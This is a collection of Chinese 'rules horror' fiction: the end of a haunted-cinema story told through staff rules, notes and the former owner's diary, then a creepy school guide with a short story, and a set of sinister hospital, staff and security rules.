    5.如见到有人从A16号放映厅内走出,请立刻通知保安过来处理。无论那是否有着你所熟悉的同事的面貌,你应该要清楚,从没有人能从A16号放映厅内走出来。

    6.如在电影播放途中,顾客按下了红色按钮,你应立刻过去察看情况,在此可细分:

    (1)如发现放映厅的门无法被推动,不要再试图进入,在电影播放完毕后封闭该放映厅二十四小时。在此期间,请格外注意,不要让任何人进入A16号放映厅。

    (2)如放映厅的门可被推动,入内察看电影内容并向顾客询问他们所看到的内容,如有四人或以上都表示他们看到了同一样的诡异情节,立刻中止电影播放,并立刻带领他们走出放映厅。请格外注意,不要让看到过诡异情节的顾客进入A16号放映厅周遭五米范围之内。

    (3)如1,2条被违反,请立刻通知保安过来处理,然后立刻赶走电影院内所有顾客,不管他们是否已经看过电影。

    7.如有顾客声称见到了电影内的角色在向自己求救,不要让他离开放映厅,在电影播放结束后疏散放映厅内的其他顾客,然后锁上门即可。期间如传来求救声,请不要理会,从没有正常人能在看电影时看到电影角色向自己求救。

    8.不要让顾客看见这本手册的內容。

    9.不要让顾客知道得太多,如果你发现某位顾客已经知道了一些他不应该知道的东西,询问他是否愿意换上工作人员制服,如不愿意,请立刻制服该名顾客并通知保安过来处理。请格外注意,绝不能让该名顾客进入到任何放映厅内。

    10.你应永远喜爱电影,并永远忠于本院。我们发誓会保护每一名合格的工作人员,因此,也希望你能在关键时刻保护好这间电影院

    一本放在厕所隔间里的记事本。

    具体内容如下:

    (第一页)

    1.远离任何人,不要相信任何人,与太多人一起看电影会使你的处境变得很危险。

    2.你必须遵守大堂中央贴的注意事项(这一行字后来被划掉)。不!不!(字迹潦草)那上面写的东西掺入了谎言!但是不要怀疑,不要深究。(字迹工整)

    3.无论如何,不要怀疑,不要深究。知道得越少,你越安全。

    4.不要按红色按钮……(字迹潦草,几乎难以认清,在之后的半张纸上尽是重覆下面几句话)工作人员是好的,坏的,好的,坏的……

    (翻开另一页)

    (字迹尚算工整)我已经在这里躲了很久了,从那个女主角突然被风扇砸死了以后整个放映厅就开始变得怪异起来……我按了红色按钮,但是没有工作人员过来,门也被锁上了,怎么推都推不开。

    我……我不知道该怎么做,我们都很害怕,太害怕了……当时电影还在继续演,可是情节越来越怪,里面死的人越来越多…….那不会是特效,那绝对不是特效,那种痉挛……至今回想起来我还是很想吐。跟我一起看电影的人开始哭喊大叫,可之后那些人就突然消失在黑暗里了,明明刚刚还在背后但是一下子就消失了!我吓到不敢叫,那些注意事项,也许是因为他们违反了注意事项,所以才被惩罚。

    我知道我不应该在厕所里待太久……注意事项上有写,只是我受不了了,真的受不了再回到那片不知道有没有死过人的黑暗里!我听到外面的电影还在播,有人在哭喊!声音很尖,我认得出……不,我说不好那是不是就是那个消失的女人,太奇怪了,这太奇怪了…….

    (隔了几行)

    厕所里应该是安全的,这几天里什么怪事都没有发生,只是能听到电影还在放着。有些时候,那是角色在正常地在念台词,可有些只是传来哭喊,尖叫,一些不知道是什么语言的东西,然后诡异的音乐。我好害怕……

    幸好我在背包里放了点吃的,可是也熬不了多久了,可能再过一两天,我就要出去,回到那个电影院里去。我记得一些东西……真后悔我没有把那张注意事项拍下来,我记得那要我在违反规则以后一直闭上眼睛…….还有捂着耳朵,直到电影播完?可是我不知道,我不知道那部“电影”会不会播完,在这几天里我一直听着它在播。 但我没有办法了……

    (隔了很多很多页)

    (字迹十分潦草且难看,像鬼画符,且沾有各种污渍,包括血渍)我逃回来了,我不知道,我不知道,我听到……我闭着眼睛捂着耳朵可是很久很久没有停我好饿,我又按了红色按钮,然后有人碰我我张开眼睛,是保安,看着,保安的衣服很蓝很蓝…….我逃了回来!他们不是人!他们跟我不一样!他们有眼睛,有鼻子,厕所镜子,照着我,我不知道……我不知道,他们没有进厕所,这里安全…….我,我还出去,吃的,好饿…….饿 (之后的字再无法辩认)

    一张便利贴贴在员工休息室内。

    具体内容如下:

    “每个放映厅内的厕所都理应该无法锁上,检查它们,如果发现能锁上了,请立刻通知保安过来处理。

    A16号放映厅在试图影响更多,而我在试图保护你们,还有顾客们,我爱你们。不要怀疑,不要深究,请永远对本院保持忠诚。”

    发现发漏了一行了。

    在记事本内页那无法辩认的字迹下面,有着一行格外工整的字。

    “如果不怀疑,不深究,我就会有救,你也会有救。”

    那是一张放在电影院门口的纸团,你将它打开。

    具体内容如下:

    1.去怀疑,去想更多,但在没有想明白某件事以前,假装你什么都没在想

    2.尽量跟更多更多的人待在一起。

    3.不要害怕,尤其在看电影时,因为你害怕的事情有概率成真。

    4.工作人员也只是人。

    5.大多数情况下,大堂中央的那张告示是可信的,不要违反它。

    6.我只能写到这里了…….我没办法再继续写下去。如果你想知道更多,你必须要去A16号放映厅,不要让工作人员发现,否則你会

    (句子戛然而止,只剩下一些糢糊的墨水跡)

    你最终决定进入A16号放映厅,你並不知道会发生了什么,但你想救回你的朋友。

    在连续踩了一个星期点以后,你终于成功避开了那些工作人员的巡逻,来到A16号放映厅里面。

    抱着必死的决心推开门以后——你很惊讶地发现,A16号放映厅并非是放映厅,而更类似是一间办公室。

    内里大约空置许久,灰尘积了厚厚一层,你见到办公桌有一张中年男人,中年女人及小女孩与小橘猫一起拍的全家福,白色相框原来该很漂亮,但此时已经被尘埃弄得脏兮兮。

    桌上还有一张纸。

    具体内容如下:

    1.这里是安全的,因为这里没有“他们”。请记住,所有放映厅都是很危险的。

    2.当你进入这里,“他们”就已经知道了你。在你离开这里后,不要被工作人员看见你,如果你还想继续活下去,就尽快离开电影院,从此不要再进来,而且之后三个月内也不要再看任何电影,因为“他们”会用尽全力去杀死你。

    3.我很想跟你说明一切,但“他们”能在某种程度上干涉文字,画面与音乐,正如“他们”篡改了大堂中央的注意事项,使那上面多了很多不必要的东西。如果我写了下来,那反而会害死你,但我可以向你暗示一些东西——你必须要想明白,在这个电影院里最不对劲的是什么,而那又到底是什么。你也仍然可以想想那些注意事项,里面绝对有什么东西很奇怪。

    4.当你想明白了“他们”是怎样一回事,你就已经具备了影响到“他们”的能力。

    5.在电影院里消失的人全都已经死了,如果你能见到那些人,请记得他们已经死了。

    6.我很抱歉要跟你说这些,但如果……如果,你很想要改变这一切,如果你想毁掉这间电影院,你可以在这里寻找一本蓝色封皮的日记。可希望你记住,在看过那本日记以后,你就只有死路一条。

    7.我曾经是这间电影院的老板,但我已经无能为力,对不起。

    20■■/10/20

    属于我的电影院终于开业了,这是我毕生的梦想!无可否认,我确实很想尝试一下一个人在放映厅里看电影是种什么感觉,而且我还可以看任何一部,无论是不是当季的有没有下架的电影。

    我花大价钱装修好了这里,这里的一砖一瓦全都是我的心血,朋友们说这注定是桩赔本生意,毕竟这裹位置那么偏僻,可能都没多少人会来,但我至今为止赚的钱所有钱都是为了来实行这个电影院老板梦,所以我不介意,并且我的妻子也对电影情有独钟,一直在支持着我的梦想。更何况,我总觉得我能做好的,我会让这里坐满人。

    希望一切顺利。

    20■■/11/29

    一切都很顺利!对外的宣传语是“最自由自在的电影院”,这里有十五间放映厅,其中有两间不大,如果人们愿意,可以用比较便宜的价钱包下其中一间放映厅,然后在里面一边看电影,一边做什么都好。我当年能想到最浪漫的事,就是一边看《海上钢琴师》,然后一边跟妻子跳交际舞。我在装修时留了足够的位置,现在确实能够实现这一点。

    当然了,也有很多年轻情侣会趁机做些不太好的事情,但只要不把放映厅弄得太噁心,我都还是能接受的。

    许多人慕名而来,想包下一间放映厅的预约甚至都排到两个月后了,对此我还是觉得挺惊喜的。 虽然之前说过能不能赚钱并不重要,但毕竟家里也还有个女儿要养,要是真赔进去太多钱了,恐怕也会变得很麻烦吧。

    总而言之,现在梦想成真了,然后吃喝也不缺钱,我觉得自己这生活简直跟神仙一样。

    今晚可以带妻子跟女儿去西餐厅吃点好的牛排,然后给咪咪也捎点吧。可怜的小猫咪,没办法进餐厅,可真是没口福。

    ……

    20■■/4/17

    出事了。 妮茜失踪了,我们在放映厅里一起跳舞,她的手不小心划过银幕——明明前一秒我还能见到她,抓住她,但一转头的功夫,她就不见了。我的妻子…….她去了哪里?我以为这只是她突如其来的小恶作剧,但她电话也不接,家也没回,整整两天,我再没有见过她。

    我几乎把所有她会去的地方都找个遍了,可是没有,她哪儿都不在。(一滩滩水渍,连带笔迹也被水化开了)

    最离奇的是,有些熟人甚至开始声称妮媨早在很多年前就已经死了。我以为他是拿这事来开玩笑,所以揍了他一拳,但他似乎是认真的。 我该怎么办才好,妮茜啊,我的爱人,我的所有所有…….

    20■■/5/9

    在妮茜失踪了两个星期过后,所有人都坚称妮茜死在很久以前,甚至有人能详细地说出她死亡的经过:八年前被一辆卡车碾到,抢救无效,当场死亡。他们还说我当时哭得泣不成声,然后为了唯一的女儿才没有寻死,只是从此性格变得沉默寡言。

    他们都说得太详细了,一切都有板有眼,我甚至怀疑自己是不是疯了,于是才故意去妄想出妮茜还在跟我生活在一起。可那些记忆那样真实,我无法相信,我……我无法接受。

    一切的缘由都在那间放映厅里,我会找到答案的。当时那么暗,也许妮茜只是被谁偷偷抓走了,而我会救你出来,等着我,等着我,妮茜!

    20■■/5/15

    我在电影里看到了妮茜。

    这个星期我几乎就在那间放映厅里住了下来,只是我有些太累,我太想她了,我忍不住放了部她最爱看的电影,希望能在高潮处,她突然就从我背后跳出来,说一切只是一个恶作剧。

    然后我真的见到妮茜了,她成了电影的女主角。

    可是……怎么会呢?这不可能,这太…….不对劲,不应该,事倩怎么会变成这样?

    直到写下这篇日记时,我的脑子还是处于浑浑噩噩的状态。 我之后又看了十二遍那部电影,其中有三遍,妮茜是女主角,有五遍妮茜没出现过,而剩下那四遍里,妮茜出演了不同的配角。

    我会再继续看下去的,或许我能在里面找到什么线索。 等着我。

    20■■/5/21

    当她的脸一次次出现在银幕上时,我再也忍不住,我真的太想念她,我想碰一下她——

    (写字的人似乎在颤抖)那一瞬间,剧情变了,她死了,那么真,不像特效。 我去报警,可他们叫我去看心理医生,没有人相信我。

    (字迹潦草而难看,一笔一划十分用力)……我继续在放映厅里看电影,我想看着她,彷佛我还和她生活在一起。

    (你开始觉得头晕,不知怎么地,日记上的文字似乎开始扭曲成虫子一样的东西,可再聚精会神地看下去,那又成了你所能看懂的文字。

    心里有一种预感叫你别再看了,现在停还来得及,之后的东西会很危险,很危险。

    你还要再看下去吗?)

    (你还是接着看了下去。)

    20■■/■■/■■

    从那天起,我再也没法走出这间电影院了。我日复一日地待在这里,不吃不喝,永远地思念妮茜,女儿,咪咪。我的小女孩,她过得还好吗?

    有些人进了放映厅以后没再出来过,可没有人在意,那些工作人员说他们只是按照工作人员指引手册做事,一切都很正常。而外界的人也不会在意,就像我的朋友对于妮茜的死一样,他们只会觉得当事人确实在过去已经以一种合情合理的方式死去了。

    至于那本什么狗屁指引手册,作为老板的我根本听都没听说过。

    我知道这背后一定有什么东西在捣鬼,这间电影院很不对劲,那些电影也不对劲。我大概能察觉到自己或许是已经死了,可是我并没有像妮茜一样身在电影里,我仍然在电影之外,这也许是老天的恩赐,也有可能是因为我的身份——我是这里的老板。

    妮茜常常在电影里喊痛,或者哀求我多陪陪她。她开始会变成一些很噁心的东西——如果我愿意再碰一次银幕,一切就会变得好起来,我们一家三口就能再次生活在一起。她用那张大到不合常理的嘴,嘶哑着说。

    但我知道她在说谎。她是因为碰到银幕所以死的,我大约也是,只是我现在成了这种像地缚灵一样的东西,还算拥有理智,而她却真的死了,只死剩一层皮。

    妮茜死后也不得安宁,我好怕她真的觉得痛。

    电影院里的工作人员全都看不见我,但他们也仍然是人,甚至能离开电影院,回家继续过正常生活。他们只按着那本工作人员指引手册做事,我试过撕烂那本手册,但第二天,仍有一本全新的放在原位。

    我必须想办法拯救那些误入此地的顾客——电影里凭空出现的新角色越来越多了,越来越多人在被那个鬼东西吞掉,我必须阻止这种悲剧的发生。 或者就像工作人员指引手册一样,我也可以去写个观影人士注意事项……这似乎是个可行的办法,只要总结好规则,然后张贴在大堂中央,让顾客在见到后尽量遵守就行了。

    也许我该多观察一下四周,看看除了因为触碰银幕以外,人们还会因为做了什么而导致消失。

    运气好点的话,我甚至能观察到那些鬼东西的弱点——我知道这将会是场很漫长的仗,但我总有一天一定会杀死它们,我发誓。

    20■■/■■/■■

    我在大堂张贴的注意事项变了,所有不被允许做的事项都被改成了允许做,这其中一定是它在捣鬼!是它在引诱人违反规则,只要有人违反规则,它就能吞掉那些人!

    我将那张纸撕了下来了,再放在那儿只会害死更多人,我必须再想个办法……

    不,不,现在并不是忙这个的时候。我怀疑,我已经发现它的一些端倪。当我知道得更多,或许我就能有办法对付它,所以我还需要观察到更多,每当有人违反规则时,那往往也是它最活跃的时候……对不起,可是…….我实在别无他法。

    请原谅我。

    (你不知道这是不是自己的错觉——可你觉得自己的身体好像正在溶解,就像一团处于高温中的橡胶,你的眼睛很痛,日记上的文字一会儿是正常的,一会儿似乎又变成一幅奇怪的图画,一会儿,你又只是看见漫无边际的红色。

    周围的环境似乎也在慢慢改变,是桌子跟书柜在动吗?还是说,它们也在扭曲?有什么在试图淹没你,是什么呢?是血吗?你此刻正在经历什么,这一切又是什么?

    你不知道,你没有答案。)

    (对着日记本看了一分钟以后,你才终于看到文字,而不再是一团乱糟糟的东西。)

    20■■/■■/■■

    我终于知道了。“他们”实际上是一种生物,“他们”需要进食,也需要排泄,“他们”也许是电影,也许是银幕,也许是放映厅,但总之,“他们”原来并不属于这个时空。

    “他们”…….也许真的是生物吧,但只要将“他们”认定是生物,我就具备了能影响到“他们”的能力。

    “他们”不知道我是什么,“他们”看不见我,对“他们”来说我只是一种灵异现象,“他们”甚至因我的所做所为而觉得困扰与害怕。真好笑,明明我就是被“他们”制造出来的,我就是被“他们”杀死的,连带妮茜也……

    我会杀死“他们”,我恨“他们”,每一天,每一天,自从变成这样子以后的每天每天每天每天都在恨着“他们”,憎恨成就了我,我开始拥有了一些力量,哪怕很微小,但我终于能够着手去对付“他们”。

    我又修改了许多次注意事项,有些使用我的血来写。我开始试探到“他们”的底线,我成功写下第一至十一条注意事项,以提醒人们不能违反哪些规则以及违反规则后的处理方法,尽管“他们”随后加上了一条不许进入A16号放映厅的注意事项——“他们”似乎将我的办公室定义A16号放映厅,而且“他们”大概觉得这儿就是一切灵异现象的根源。“他们”对人的理解是食物,“他们”是不会害怕食物的,因此,我想“他们”大概认为我是一种跟“他们”差不多可又恐怖得多的东西——真不可思议,明明我就是因为“他们”才会变成这样。

    (深红的文字)只要我不直接描述“他们”是生物,“他们”都不会做太大的修改,但只要明确指明“他们”是生物,“他们”就会发疯。

    ……

    “他们”就会发疯。发疯。发疯。发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯发疯

    (你觉得头很痛,那些字又在移动,然后熔解,变成了一条很大的虫,然后又再熔解,一行行字又慢慢重新浮现了出来)

    (鲜红的文字)你很好奇,是吧?为什么你能看到这一页,我已经写下来了,“他们”是生物,而你也看到了。

    (接着你觉得自己真的开始溶化——物理意义下的熔化。皮肤与血肉如黏稠的流体般落下,滴到地面上。你感到疼痛难忍,可是你没办法移动,你仍然只能捧着那本日记本,眼睁睁看着上面的文字不断移动,熔解,有些飞向了你,融入了你,很痛。剩下的一笔一划则重新在纸上组合为新的文字。

    红色在漫延,红色的海淹没了你一半的身体。)

    (鲜红的文字)因为你知道了我,你看见了我的过去,你从文字中理解我,接触我。于是我就能影响到你,你就成为了一部分的我。 “他们”干涉不了我的身体。

    我憎恨着“他们”……为此,我需要更多更多的力量,去杀死“他们”。 我知道我已经变了,或许变成了一种,比“他们”更奇怪,也更恐怖的东西。从不知道哪一天起,当我日复一日拼命地憎恨着与悔过着,当所有情绪累积到一定程度,我的本身就成为了一种污染。

    当你知道了我,看到我,你就会死。但你死后会成为我的力量,使我能够更加,更加地影响到“他们”。

    我必须要杀死“他们”。

    你的死是有意义的,人类。

    (红色的海最终淹没了你,你好像见到一团如血肉纠缠般的东西在试图触碰你,可下一秒,你就于疼痛中永远地闭上了眼睛。)

    一张新的便利贴出现在员工休息室里。

    具体内容如下:

    “又有人进入A16号放映厅里了,这致使它变得更加强大起来,接下来除了放映厅的厕所以外,或许它还能影响到更多。 如你之后在办公途中遇到任何不正常的,工员人员指引手册没提及过的事,请立刻通知保安并驱散电影院内的所有顾客。

    我会永远地保护你们,因此,请你们也永远对本院保持忠诚。

    请不要进入A16号放映厅内部,请不要相信它。请记得,不要怀疑,不要深究。我爱你们。”

    写到这里应该是大致完结啦!之后有空会再更点类似番外的东西什么的(=゚ω゚)=

    其实昨晚在想了很久该用哪个结局好,因为想到了两个结局;不过最后还是选了这个结局,因为觉得这个好像挺细思恐极的

    老板一定会杀死“他们”,可老板自己也已经变成了一种异常,很难说在杀死“他们”以后它会不会迷失了原本的自我,然后继续盘居在电影院里杀人,细想的话像老板这种具有认知妨害的异常应该比“他们”强得多了,为不幸入内的观众默哀(>д<)

    各位新同学,大家好!

    在这个寒冷但不失热情的冬季,我们迎来了育英中学一批新鲜血液。我们热烈而真诚地欢迎你们加入这个温暖的大家庭!希望这一份校园指南能够让你们更好地适应新的校园生活。

    一、食堂

    育英中学的食堂管理严格,干净卫生,品类丰富,营养均衡,保障学生身体健康。

    1.如在食堂饭菜里吃到石子、符灰、小虫或人齿,请向食堂阿姨反应。

    2.例汤有紫菜蛋花汤、番茄鸡蛋汤和芹菜豆腐汤,并在固定窗口提供。请不要接受任何工作人员提供的肉汤。

    3.请用“这个”“那个”指代要打的菜品,不要试图询问打饭阿姨菜品的具体名称。

    4.请严格遵循间隔就餐制。如果有人在你临座落座,请不要回应它的搭话,也不要吃它赠予的食物。

    二、 宿舍

    育英中学是全寄宿制学校,宿舍条件良好,每间宿舍配备电扇,供应热水,为学生提供舒适的住宿环境。

    1.晚上10点至11点30分限时提供热水,如在限制时间外接到热水,且水体呈红棕色粘稠状并伴有浓重异味,请不要使用和饮用。

    2.如遇电扇故障、墙皮脱落、墙体缝隙恶臭等问题,请向生活老师报告。墙体缝隙内有些微气味是正常的,如听见低语,请不要提起和讨论这件事。

    3.宿舍楼一共有6层,且并无地下楼层。如果看见通往地下或第7层的楼梯,请假装没有看见。请绝对不要走上这些楼梯。

    4.宿舍楼每层有6个宿舍间,每间6个床位。如看见多余的宿舍间或床位,请假装没有看见。请绝对不要进入这些宿舍间或躺上这些床位。

    5.如看见有同学走上多余的楼梯,进入多余的宿舍间或躺上多余的床位,请假装没有看见,不要试图劝阻。如被邀请,请婉拒。

    6.查寝时间为每晚10点30分。如遇凌晨3点24分的查寝,请假装熟睡。

    7.如在自己的寝室门前看见蜡烛和花圈,请确认挽联上的是否有自己的名字。如有,请正常进入寝室休息。如没有,请尽量真切地哭丧,直到蜡烛和花圈消失。

    三、教学楼与课堂

    育英中学无现存的教学楼,请前往宿舍楼地下一层上课。

    育英中学教风学风优良,以培育英才为目标,专注办学质量,为学生创造良好的学习环境。

    1. 如在白天看见标有“英才楼”大字的教学楼,请不要进入。

    2.如在晚上看见教学楼,请不要试图看清墙面上铭刻的文字和纹样,并尽快离开该区域。

    3.如有同学或老师邀请你一起进入教学楼,请婉拒。如仍被强硬要求并带走,请假装身体不适,尽快将胆汁吐在地上,以此为由快速回到寝室。

    4.走廊上不得同时存在21个学生,请仔细观察后进入走廊。为避免造成麻烦,请认真辨别哪些是学生。

    5.请不要打开教室的窗户,即使外面看起来天气很好。

    6.如果没有人认识上课的老师,请不要听课,并按学号顺序以上厕所的理由向老师请假,直到有人成功离开教室并将情况报告给年级组长。

    7.如在上课时听见老师讲述本校历史,请在教室完全变暗前打断。

    8.请不要在课上睡着。如果睡着,请假装从未醒来,直到所有课程结束,并尽快忘记在那期间听到的东西。

    四、图书馆

    育英中学图书馆有着丰富的藏书资源,舒适的阅览室和便捷的借阅系统,是学生们理想的第二课堂。

    1.不要看图书馆里的书。

    2.不要看。

    五、操场

    育英中学操场占地〇平方。

    1.没有

    2.没有操场

    3.没有必要操场

    四、学校

    育英中学是存在的学校。存在的学校。存在的、存在、存在的学校学校 存在学校 存在

    4.如有任何人向你传达不真实的信息,比如育英中学是不存在虚假存在不存在的、 请立刻报告离你最近的老师清洁工裁判奶奶保安槐树刽子手,,我们会处理处处理处理处决处理处理处理处理

    育英中学是真实存在的学校。

    育英中学中是真实的存在育英中学中是真实中学中是真实在育英中学校真实中学中是育英。

    育英中学是真实。

    烛大家在育英中学度过愉快的逝光!

    完。

    “你怎么还在这里啊?”我刚从食堂出来,就看见徐丽朝我小跑过来,牵起我的手,拉着我要往前走,“快点,要上课了。”

    “哎,小丽,你去哪儿?”我瞪大眼睛看着拉着我往前的徐丽。

    徐丽回过头来,歪歪头,疑惑地问:“去上课啊,不然去哪?”

    “上课不是……”我转头看看宿舍楼的方向,对徐丽说,“教室不是在宿舍地下吗?”

    徐丽像听到了什么很可笑的事情一样,噗嗤一下笑了出来:“哪有教室在地底下的?又不是墓咯!”

    “你吃饭吃傻啦?”徐丽用另一只手点点我的脑门,“好好的教学楼不用,去什么地下上什么鬼课?”

    我顺着徐丽给我指的方向,错愕地看着那栋凭空出现在那里的大楼。

    很普通的大楼,如果教学楼有个默认模板,那它就长那个样子。楼侧面的墙面上挂着三个大字,“英才楼”。

    难道是真是我吃傻了?我困惑地盯着那栋大楼,努力地回忆。

    我仔细地看着那三个字,金光灿灿的“英才楼”。怎么可能会一直都没注意到呢?

    英才楼……英才楼。我突然觉得,好冷啊。好冷啊。英风吹在我身上,徐丽笑嘻嘻地看着我。好冷啊。

    我颤抖道:“小丽,我……我突然不舒服,我可能得回宿舍休息了。”

    “什么啊?”徐丽瞬间换了一副表情,拧起眉头,古怪地盯着我:“这节可是老班的课,你觉得他会信吗?快走啦,走!”

    徐丽转身拽着我往前拖,她牵着我的那只手下了死力气,攥得死紧,紧到我的皮肤都泛白,任凭我怎么用力也拔不出我的手,竟然就这样被她拖着踉跄着往前走。

    我没有反应过来,脑子懵懵的,抬头只能看见徐丽的背影,和不远处的英才楼,眼睁睁地看那三个大字离我越来越近,越来越近。好可怕。

    为什么啊?徐丽,为什么要带我去根本不存在的教学楼?好可怕,我不想去!徐丽是为了什么啊?为什么是徐丽?徐丽……徐丽。

    我忽然有种被击中的感觉。

    我顿时从心底升起一股恶寒,随之而来的是席卷身心的恐惧。

    恐惧让我爆发了反抗的力量,我强行拽停了徐丽,强忍着眼眶里的泪水,一边挣扎一边大喊:“你是谁啊?”

    “我,我根本不认识什么徐丽啊,你是谁啊?我不认识你啊!”我疯狂地去抠它的手,那五根纤细的手指深深嵌进我的皮肤里,比钢筋还要难以撼动。

    “你是谁啊?你是谁啊?徐丽到底是谁啊?”我哭喊道。

    “走啦!去上课啦!”它不回应我,也根本不回头看我了,只是像之前一样发出清脆活泼的女声。

    “走啦走啦!快去上课啦!去英才楼上课,知道吗?别犯傻啦,英才楼就是我们的教学楼啊!快点快点,不要迟到了!去英才楼上课啊!就在前面了,马上就到了,进去上课吧!育英中学的教学楼就是英才楼。英才楼就是育英中学的教学楼。走啦!去英才楼上课啦!”

    英才楼。英才楼。英才楼。

    诅咒一样诡异的话语连续不断地朝我耳里倾倒,欢快的语调却让我浑身异样般发冷,不住地发抖,胃部冰凉地下坠,抽痛不已,难以抑制的呕吐欲顿时涌上胸腔。

    我哇地一声把刚刚吃进去的饭菜通通吐了出来,地上顿时污糟一片。

    我吐了什么?黑色的是紫菜还是头发?红色的是番茄还是血块?苦的。苦的。绿色的胆汁。我持续地呕吐,直到把胃袋翻过来也没有停下。

    手上的钳制突然松开了。

    我马上缩回手,慢慢地揉手上被掐出的暗红指痕,低着头说:“小丽,我……我真的很不舒服,我回宿舍休息了。”

    对面没有任何反应,我不敢抬头,只能看着那双安静的脚。没等它有回应,我就咬咬牙,转身一溜烟向宿舍楼的方向跑去。

    我全力跑着,把它远远甩在身后,嘴里残存的胆汁的味道在舌下蔓延开。

    好苦。

    你好,欢迎来到仁和医院,我们会以最高超的医疗水平和最亲和的态度全程呵护您,确保您的安全出院。为了保证您的医疗进度,请您在院期间,务必遵守以下守则:

    1、 为了保证您的心态健康,不要试图与外界联系,医院有齐全的娱乐设施与餐饮配置,如有额外需求,可以与医院的任何工作人员沟通,我们会尽力满足您一切的合理要求。请放心,您的家人已经为此服务一次性付清所有费用(“所有费用”被用红字标识),不会对您的家庭产生额外的负担。

    2、 请牢记您的房间号,务必不要走错房间。进入房间前,反复确认房间内人数不能超过一人。医院每层的病房号只到20,如果您发现了超出此范围的病房,请务必不要进入。

    3、 务必不要关闭病房内的照明灯,医院需要保持照明以方便我们的医生对您进行监护,如果您无法入睡,可以向护士索要眼罩。每间病房都有两盏灯,如果您发现有一盏不亮了,请立刻离开房间并通知工作人员,我们会为您更换房间。不用担心,您的室友会睡得很好。

    4、 在您入睡期间,我们会锁上您的门窗,如果听到任何噪音(包括但不限于拍窗、敲打、抓挠),请不要惊慌,医院的地下发电机可能有一些故障,属于正常情况。如果有人呼唤您,请务必在取下眼罩,感受到灯光后,才能睁眼。否则,不要睁眼,即使是您的病友向您求救。不用担心,医院会负全部责任。

    5、 我们的医生护士身着统一的白色制服,佩戴专用的医用手套,但不佩戴医用防护帽与口罩,无任何额外装饰,包括纽扣等所有细节,请拒绝任何不符合以上条件的医生护士对您的医护操作。

    6、 医院只有医生、护士和保安,不要搭理任何医院中的外来人员,尤其是当他向您询问七楼的位置时,请记住,医院没有七楼。如果他对您纠缠不放,请及时联系医院工作人员,我们会妥善处理。

    7、 乘坐电梯时,请牢记医院只有-1层到6层,不要乘坐任何从超过-1层下来的电梯,请放心,这只是电梯出现了一些故障。为了保证您的生命安全,不建议您此时乘坐电梯,请务必及时联系工作人员前来维修。

    8、 重复,医院没有第七层。

    9、 若非医生指示,请尽量不要离开你所在的楼层,尤其不要前往更高的楼层。如果遇到从高楼层下来的病人,也请尽量减少和他们的接触。

    10、 -1层的太平间通常是上锁的,如果您发现太平间门打开,请立刻,以最快的速度回到您的病房。当然,我们不建议您没事前往那里。

    11、 重症监护室使用中时,务必不要在走廊上逗留,防止妨碍到我们的医生,请珍惜所有和你一样的病人。无论任何时候,不要擅自进入重症监护室。

    12、 医院有时会有供电不足发生停电的情况,如果此时您不在病房内,请务必不要移动,保持不要睁眼,无论听到什么都装作没有听见。务必保持清醒,请牢记不要睡着,我们会尽快修复。如果您在房间内,请保持门窗紧闭。

    13、 如果您出现头晕眼花,意识不清醒,或对灯光感到不适,请立刻带着您的病历前往六楼取药处。牢记,路上无论是谁,都不要给他看病历上的内容。取药时,请再三确认您位于六楼的取药处。确认完毕后,才可以递交病历单,并反复强调您需要的是处方药。

    14、 医院有许多上锁的房间,那些都是已经废弃的房间,有时里面会传出噪音,请不要试图打开它们,放心,房间里是一些外来的小动物。

    15、 请配合医院工作人员的一切行为,相信我们。包括带您前往第七层(最后这句话看起来歪歪扭扭,不是打印出来的字)

    16、 重复,医院没有第七层。

    17、 重复重重复重复复复复

    《医生护士守则》

    每日标准工作时间是9:00-19:00,夜班工资是日班的十倍,选择夜班的医生一周允许只工作两天。

    1、 允许早到迟到,但绝不允许早退。下班时间19:00后,不得在医院内停留超过五分钟,如果超过19:05仍在医院内,则不得离开医院,我们会给予丰厚的加班费,直到第二天19:00才允许离开。如有违反,后果自负。

    2、 工作期间必须保证全程穿戴工作制服,不得与患者有肌肤上的接触,不允许遮挡面部以及头部,如果有人违反,可直接按“死者”处理。

    3、 严格保证所有文字文件都是使用打印,不允许出现任何手写的情况。

    4、 夜班期间,除非必要,否则请尽量全程待在办公室中,但务必不要上锁。如果发现灯光有闪烁不定的情况,请立马前往七楼。一旦灯光熄灭,请保持原地不动。如果在黑暗中看见人影,务必保持安静,不要呼喊,对其无视。

    5、 一旦患者报告对灯光感到不适,加大“忘忧“的剂量,并及时将其向更低的楼层转移。

    6、 如遇患者报告病房的灯熄灭,请立刻通知保安处理,并无视此患者,不要与其对话,更不要与其接触。

    7、 请保证身上时刻携带一把锁,以应对突发状况。如果数量不够,可以去安保处领取。

    8、 永远不要接近-1层的太平间,如果需要处理“死者”,请联系安保处。

    9、 如果出现头晕眼花,意识不清醒,或对灯光感到不适,请立刻前往六楼取药处登记。但请注意只允许使用非处方药,不要使用任何处方药,即使你是医生。如果使用非处方药后仍旧不适,请去安保处打造一把锁。

    《安保处守则》

    1、 不允许任何外来人员从一楼进入医院,请保证一楼大厅入口始终上锁。如果发现大门打开,立即巡查整栋医院,检查所有锁具均完好。如遇外来人员向你询问七楼所在,请无视他,医院根本不存在七楼。

    2、 工作期间必须保证全程穿戴工作制服,不得与患者有肌肤上的接触,不允许遮挡面部以及头部,并携带手电筒,如果有人违反,可直接按“死者”处理。

    3、 平常状况下请务必保证手电筒关闭。

    4、 每天19:00-6:00的夜班期间,应每隔一小时巡查一次整栋医院,必须检查所有锁具均完好,同时检查走廊上亮灯数应为40盏,如果少于40盏,则立刻返回,不要继续前进,同时联系院长。在得到回复之前,不要再进入此楼层。

    5、 如果有医生前来请求打造一把锁,请按照《锁具打造章程》对其进行处理,请不要怀疑,这非常有必要。

    6、 如果医生请求处理病人,务必将病人按照“死者”处理方法,送入太平间内。对所有熄灯的房间进行废弃处理,并向院长报告。

    7、 如遇灯光闪烁的情况,请立刻前往配电室,检查供电情况,必要时,不要吝啬锁的使用。

    8、 如遇停电,请保持手电筒常亮,立刻前往太平间,检查锁具完好,如果太平间门打开,请进入太平间,从内部关闭太平间门。

    9、 永远不要违反该守则。

    保安守则的底端还有一行小字,看起来很工整,是手写上去的:

    我们没有选择,我们只能向下。

    配电室使用须知:

    1、 闲杂人等不得入内,进入时,请确保工作制服穿戴完好,否则后果自负。

    2、 请时刻保持能源储备充足,必要时,请在锁具铸造处制造,务必保证供电。

    3、 请保持发电仪器安静,不要制造噪音,必要时,允许采用暴力手段。

